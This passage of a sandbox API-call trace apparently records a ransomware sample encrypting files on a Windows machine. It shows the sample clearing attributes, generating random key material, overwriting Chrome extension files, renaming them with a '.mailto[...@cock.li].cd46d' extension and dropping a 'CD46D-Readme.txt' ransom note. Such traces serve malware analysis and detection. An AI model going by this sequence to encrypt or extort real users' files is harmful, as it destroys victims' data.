_Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" [0198.181] wcscat (in: _Dest=0xd4c93a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0198.181] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x35ff7a4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0198.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a6) returned 0x9bfcf8 [0198.184] FlushFileBuffers (hFile=0xcbc) returned 1 [0198.185] CloseHandle (hObject=0xcbc) returned 1 [0198.186] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x150) returned 0x8ea9d8 [0198.186] wcscpy (in: _Dest=0x8ea9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\" [0198.187] wcscat (in: _Dest=0x8ea9d8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\CD46D-Readme.txt" [0198.187] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\cd46d-readme.txt")) returned 0xffffffff [0198.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcbc [0198.187] WriteFile (in: hFile=0xcbc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x35ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x35ff7ac*=0x6fd, lpOverlapped=0x0) returned 1 [0198.188] CloseHandle (hObject=0xcbc) returned 1 [0198.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ea9d8) returned 1 [0198.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941668) returned 1 Thread: id = 8185 os_tid = 0x15f0 [0189.793] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\thimphu")) returned 0x20 [0191.389] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu", dwFileAttributes=0x20) returned 0 [0191.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\thimphu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.390] GetLastError () returned 0x5 [0191.390] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu", dwFileAttributes=0x20) returned 0 [0191.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c698) returned 1 Thread: id = 8186 os_tid = 0x15f4 [0189.795] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tokyo")) returned 0x20 [0191.391] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo", dwFileAttributes=0x20) returned 0 [0191.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tokyo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.391] GetLastError () returned 0x5 [0191.391] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo", dwFileAttributes=0x20) returned 0 [0191.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1288) returned 1 Thread: id = 8187 os_tid = 0x15f8 [0189.795] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ulaanbaatar")) returned 0x20 [0191.392] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar", dwFileAttributes=0x20) returned 0 [0191.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ulaanbaatar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.392] GetLastError () returned 0x5 [0191.392] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar", dwFileAttributes=0x20) returned 0 [0191.392] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c00) returned 1 Thread: id = 8188 os_tid = 0x15fc [0189.796] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\urumqi")) returned 0x20 [0191.393] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi", dwFileAttributes=0x20) returned 0 [0191.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\urumqi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.393] GetLastError () returned 0x5 [0191.393] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi", dwFileAttributes=0x20) returned 0 [0191.393] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f13d8) returned 1 Thread: id = 8189 os_tid = 0x1604 [0189.797] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ust-nera")) returned 0x20 [0191.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera", dwFileAttributes=0x20) returned 0 [0191.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\ust-nera"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.395] GetLastError () returned 0x5 [0191.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera", dwFileAttributes=0x20) returned 0 [0191.395] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c9e0) returned 1 Thread: id = 8190 os_tid = 0x1608 [0189.798] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vientiane")) returned 0x20 [0191.396] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane", dwFileAttributes=0x20) returned 0 [0191.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vientiane"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.396] GetLastError () returned 0x5 [0191.396] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane", dwFileAttributes=0x20) returned 0 [0191.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c170) returned 1 Thread: id = 8191 os_tid = 0x160c [0189.799] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vladivostok")) returned 0x20 [0191.399] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok", dwFileAttributes=0x20) returned 0 [0191.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\vladivostok"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.400] GetLastError () returned 0x5 [0191.400] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok", dwFileAttributes=0x20) returned 0 [0191.400] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0180) returned 1 Thread: id = 8192 os_tid = 0x1610 [0189.799] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yakutsk")) returned 0x20 [0191.401] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk", dwFileAttributes=0x20) returned 0 [0191.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yakutsk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.401] GetLastError () returned 0x5 [0191.401] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk", dwFileAttributes=0x20) returned 0 [0191.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c0f8) returned 1 Thread: id = 8193 os_tid = 0x1614 [0189.800] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yekaterinburg")) returned 0x20 [0190.675] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg", dwFileAttributes=0x20) returned 0 [0190.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yekaterinburg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0190.675] GetLastError () returned 0x5 [0190.675] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg", dwFileAttributes=0x20) returned 0 [0190.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0500) returned 1 Thread: id = 8194 os_tid = 0x1618 [0189.801] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yerevan")) returned 0x20 [0190.676] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan", dwFileAttributes=0x20) returned 0 [0190.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yerevan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0190.677] GetLastError () returned 0x5 [0190.677] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan", dwFileAttributes=0x20) returned 0 [0190.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c788) returned 1 Thread: id = 8195 os_tid = 0x161c [0189.802] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json")) returned 0x2020 [0189.802] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json", dwFileAttributes=0x20) returned 1 [0193.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17fc [0193.090] GetFileSizeEx (in: hFile=0x17fc, lpFileSize=0x3b8fe00 | out: lpFileSize=0x3b8fe00*=216) returned 1 [0193.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af348 [0193.090] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef10 [0193.090] NtQuerySystemTime (in: CurrentTime=0x3b8fd60 | out: CurrentTime=0x3b8fd60*=132174899676826000) returned 0x0 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x3ba9f103 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x16a9e66d [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0xa83d0cd [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x2cf731c1 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x5a0e0447 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x4a278ca4 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x79d5c62c [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x56111860 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x40972c98 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x47c74b74 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x76e7bd5e [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x7512f804 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x26e41758 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x747fe632 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x3f5474ff [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x7c6656b0 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x179b20f5 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x5f03aa4e [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x6c59a53e [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x3a1e200c [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x5fda3c12 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x21752786 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x1c7d0e49 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x4b536332 [0193.090] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x86a4f05 [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x6b060a7c [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x1c3560b0 [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x25c33853 [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0xc92798e [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x32487577 [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x338e6303 [0193.091] RtlRandomEx (in: Seed=0x3b8fd6c | out: Seed=0x3b8fd6c) returned 0x5724f7c0 [0193.104] ReadFile (hFile=0x17fc, lpBuffer=0x12d540e8, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x3b8fd5c, lpOverlapped=0x0) [0193.105] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.105] WriteFile (in: hFile=0x17fc, lpBuffer=0x12d608f0*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x3b8fd58, lpOverlapped=0x0 | out: lpBuffer=0x12d608f0*, lpNumberOfBytesWritten=0x3b8fd58*=0xd8, lpOverlapped=0x0) returned 1 [0195.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909370 [0195.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094b0 [0195.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0195.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0195.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d540e8) returned 1 [0195.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0195.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9450) returned 1 [0195.142] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c00 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f9450 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8cb0 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094b0 [0195.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c30 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094b0 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909848 [0195.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909848) returned 1 [0195.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0195.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9450) returned 1 [0195.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf6440 [0195.143] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.143] WriteFile (in: hFile=0x17fc, lpBuffer=0x12cf6440*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3b8fdc0, lpOverlapped=0x0 | out: lpBuffer=0x12cf6440*, lpNumberOfBytesWritten=0x3b8fdc0*=0x10b, lpOverlapped=0x0) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6440) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c30) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094b0) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c00) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909370) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0198.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0198.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c66a0 [0198.153] wcscpy (in: _Dest=0xd4c66a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" [0198.153] wcscat (in: _Dest=0xd4c66a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0198.153] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3b8fd78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0198.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0198.157] FlushFileBuffers (hFile=0x17fc) returned 1 [0198.160] 